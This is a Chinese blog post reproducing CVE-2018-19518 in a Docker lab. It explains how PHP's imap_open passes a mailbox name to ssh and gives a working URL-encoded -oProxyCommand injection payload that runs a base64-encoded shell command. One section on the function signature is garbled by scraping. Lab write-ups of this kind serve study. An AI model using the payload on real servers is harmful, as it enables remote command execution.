CVE-2018-19518复现练习

概述

漏洞概述:imap_open函数在传递邮箱名给ssh之前没有正确过滤接收的参数,导致攻击者可以利用-oProxyCommand参数向IMAP服务器发起命令执行恶意代码
影响版本:Ubuntu、Debian、Red Hat、SUSE

环境搭建

cd /CVE-2018-19518
docker-compose up -d
image.png
查看网站的组件
image.png
直接看页面也没有什么思路,直接看代码

<?php
if(!empty($_POST)) {
    $imap = @imap_open('{'.$_POST['hostname'].':993/imap/ssl}INBOX', $_POST['username'], $_POST['password']);
}
?>
<?php if(!empty($_POST)): ?>
        <?php if($imap): ?>
            <div class="alert alert-success" role="alert">
                Connect successful!
            </div>
        <?php else: ?>
            <div class="alert alert-danger" role="alert">
                Connect failed!
            </div>
        <?php endif; ?>
        <?php endif; ?>

分析

imap_open工作

imap_open函数并不是PHP函数库的内置函数,只有PHP安装imap扩展后才会激活imap_open()函数,imap_open实现与IMAP服务器之间的通信,如果IMAP服务器的主机使用了PHP,并且配置了rsh服务,那么imap_open会使用rsh/ssh来建立与远程服务器的连接,imap_open会将连接参数传递给rsh或ssh命令,包括主机名、端口号、加密方式等。image.png

imap_open介绍PHP: imap_open - Manual
imap_open(
string mailbox,//stringuser, //用户名
string password,//intflags = 0,
int $retries = 0,
array options=[]<br/>):[IMAP\Connection](https://www.php.net/manual/en/class.imapconnection.php)|falseimapIMAP使IMAP//ToconnecttoanSSLIMAPorPOP3server,add/sslaftertheprotocol//SSLIMAPPOP3/sslmbox = imap_open ("{localhost:993/imap/ssl}INBOX", "user_id", "password");

所以可以理解上面那段代码:
hostname是IP地址,993是端口名称,/imap表示使用imap协议,/ssl表示使用ssl对会话进行加密.
漏洞成因:
imap_open会调用rsh(debian/ubuntu会默认使用ssh)来远程执行命令,这里有一个需要解开的问题,我查了一些资料都没有讲解是如何调用rsh/ssh的,后面找到了一个解释:当能够使用SSH时,整个过程并不需要建立 IMAP 连接。 也就是说,imap_open 函数首先会建立SSH连接,如果认证通过,则会在没有 IMAP 连接的情况下继续执行,这就是所谓的 IMAP 预认证模式。

payload

利用ssh,ssh可以通过设置-oProxyCommand=来调用第三方命令,通过这个参数注入,最终实现命令执行。
注:传递邮箱名称,空格和斜杠会被转义掉,需要进行绕过。
x+-oProxyCommand=echo echo'1234567890'>/tmp/test0001|base64 -d|sh}
x:表示我们可以在操作服务器地址参数时操纵命令行
}:用来闭合接收变量一开始的括号
base64+url编码:
hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}&username=111&password=222
进入容器查看执行结果:
docker exec -it 容器id /bin/bash
image.png

总结

参考资料

https://blog.csdn.net/m0_46436640/article/details/119343765
https://www.freebuf.com/vuls/192712.html
https://xi4or0uji.github.io/2019/03/01/imap_open()%E5%AE%9E%E7%8E%B0%E8%BF%9C%E7%A8%8B%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%EF%BC%88CVE-2018-19518%EF%BC%89/
https://zhuanlan.zhihu.com/p/111986478
https://vulhub.org/#/environments/php/CVE-2018-19518/
https://forum.antichat.club/threads/463395/#post-4254681
https://www.cnblogs.com/biing/p/13049730.html

posted @   crayon's  阅读(118)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 单元测试从入门到精通
· 上周热点回顾(3.3-3.9)
· Vue3状态管理终极指南:Pinia保姆级教程
点击右上角即可分享
微信分享提示